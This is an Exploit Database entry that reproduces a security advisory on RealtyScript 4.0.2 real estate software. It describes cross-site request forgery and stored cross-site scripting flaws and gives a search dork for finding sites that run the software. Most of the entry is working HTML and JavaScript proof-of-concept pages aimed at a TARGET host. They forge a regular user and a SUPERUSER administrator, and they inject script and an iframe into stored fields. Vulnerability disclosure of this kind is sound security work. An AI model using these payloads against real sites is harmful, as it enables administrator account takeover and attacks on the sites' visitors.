



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

RealtyScript 4.0.2 - Multiple Cross-Site Request Forgery / Persistent Cross-Site Scripting Vulnerabilities

EDB-ID:

38496

CVE:

EDB Verified: ✗

Author:

[LIQUIDWORM](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2015-10-19

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

RealtyScript v4.0.2 Multiple CSRF And Persistent XSS Vulnerabilities

Vendor: Next Click Ventures
 Product web page: <http://www.realtyscript.com>
 Affected version: 4.0.2

Summary: RealtyScript is award-winning real estate software that makes it effortless for a real estate agent, office, or entrepreneur to be up and running with a real estate web site in minutes. The software is in daily use on thousands of domain names in over 40 countries and has been translated into over 25 languages.

Desc: The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Multiple cross-site scripting vulnerabilities were also discovered. The issue is triggered when input passed via the multiple parameters is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Tested on: Apache/2.4.6 (CentOS)
 PHP/5.4.16
 MariaDB-5.5.41

Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
 @zeroscience

Advisory ID: ZSL-2015-5269
 Advisory URL: <http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5269.php>

01.10.2015

Dork: "Powered by RealtyScript v4.0.2"

 Upload Stored XSS:
 POST parameter: file

```
-----
<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://TARGET/admin/tools.php", true);
        xhr.setRequestHeader("Accept",
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
        xhr.setRequestHeader("Content-Type", "multipart/form-data;
boundary=----WebKitFormBoundaryuKwLJIoMCsN4MJyN");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");
        xhr.withCredentials = true;
        var body = "-----WebKitFormBoundaryuKwLJIoMCsN4MJyN\r\n" +
          "Content-Disposition: form-data; name=\"file\";
filename=\"xss_csv.csv\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

        "\r\n" +
        "\"\x3e\x3cscript\x3ealert(\"ZSL\")\x3c/script\x3e\r\n" +
        "-----WebKitFormBoundaryKwLJIoMCsN4MJyN--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
    }
</script>
<form action="#">
    <input type="button" value="Submit XSS #1" onclick="submitRequest();"
/>
</form>
</body>
</html>

```

 CSRF Add User:

```

<html>
  <body>
    <form action="http://TARGET/admin/addusers.php" method="POST"
    enctype="multipart/form-data">
      <input type="hidden" name="package" value="3" />
      <input type="hidden" name="realtor_first_name" value="Tester" />
      <input type="hidden" name="realtor_last_name" value="Testowsky" />
      <input type="hidden" name="realtor_company_name" value="Zero Science
Lab" />
      <input type="hidden" name="realtor_description" value="1" />
      <input type="hidden" name="location1" value="&#13;" />
      <input type="hidden" name="realtor_address" value="1" />
      <input type="hidden" name="realtor_zip_code" value="2" />
      <input type="hidden" name="realtor_phone" value="3" />
      <input type="hidden" name="realtor_fax" value="4" />
      <input type="hidden" name="realtor_mobile" value="5" />
      <input type="hidden" name="realtor_e_mail" value="lab@zeroscience.mk"
/>
      <input type="hidden" name="realtor_website" value="&#13;" />
      <input type="hidden" name="realtor_login" value="Adminized" />
      <input type="hidden" name="realtor_password" value="123456" />
      <input type="hidden" name="realtor_password_2" value="123456" />
      <input type="hidden" name="submit_realtor" value="Register" />
      <input type="submit" value="Forge User" />
    </form>
  </body>
</html>

```

 CSRF Add SUPERUSER:

Level SUPERUSER for SUPERUSER
 Level Global for Administrator

```

<html>
  <body>
    <form action="http://TARGET/admin/editadmins.php" method="POST"
    enctype="application/x-www-form-urlencoded">
      <input type="hidden" name="login" value="joxypoxy" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="level" value="SUPERUSER" />
      <input type="hidden" name="submit_admin" value="Add" />
      <input type="submit" value="Forge SUPERUSER" />
    </form>
  </body>
</html>

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Stored XSS:

POST parameter: location_name

```
-----
<html>
  <body>
    <form action="http://TARGET/admin/locations.php?action=add"
method="POST">
      <input type="hidden" name="location_name" value="'><script>confirm(2)
</script>' />
      <input type="hidden" name="location_parent" value="0" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit XSS #2" />
    </form>
  </body>
</html>
```

IFRAME Injection Stored XSS:

POST parameter: text

```
-----
<html>
  <body>
    <form action="http://TARGET/admin/pages.php?action=add" method="POST">
      <input type="hidden" name="menu" value="TESTINGUSIFRAME" />
      <input type="hidden" name="menu2" value="" />
      <input type="hidden" name="menu3" value="" />
      <input type="hidden" name="menu4" value="" />
      <input type="hidden" name="menu5" value="" />
      <input type="hidden" name="menu6" value="" />
      <input type="hidden" name="menu7" value="" />
      <input type="hidden" name="menu8" value="" />
      <input type="hidden" name="menu9" value="" />
      <input type="hidden" name="menu10" value="" />
      <input type="hidden" name="menu11" value="" />
      <input type="hidden" name="menu12" value="" />
      <input type="hidden" name="menu13" value="" />
      <input type="hidden" name="string" value="iframe101" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="navigation" value="1" />
      <input type="hidden" name="text" value='Waddudp <br /><iframe
frameborder="0" height="200" name="AAA" scrolling="no"
src="http://zeroscience.mk/en" title="BBB" width="200"></iframe><br />' />
      <input type="hidden" name="text2" value="" />
      <input type="hidden" name="text3" value="" />
      <input type="hidden" name="text4" value="" />
      <input type="hidden" name="text5" value="" />
      <input type="hidden" name="text6" value="" />
      <input type="hidden" name="text7" value="" />
      <input type="hidden" name="text8" value="" />
      <input type="hidden" name="text9" value="" />
      <input type="hidden" name="text10" value="" />
      <input type="hidden" name="text11" value="" />
      <input type="hidden" name="text12" value="" />
      <input type="hidden" name="text13" value="" />
      <input type="hidden" name="submit" value="Add Page" />
      <input type="submit" value="Submit XSS #3" />
    </form>
  </body>
</html>
```

Tags:

Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.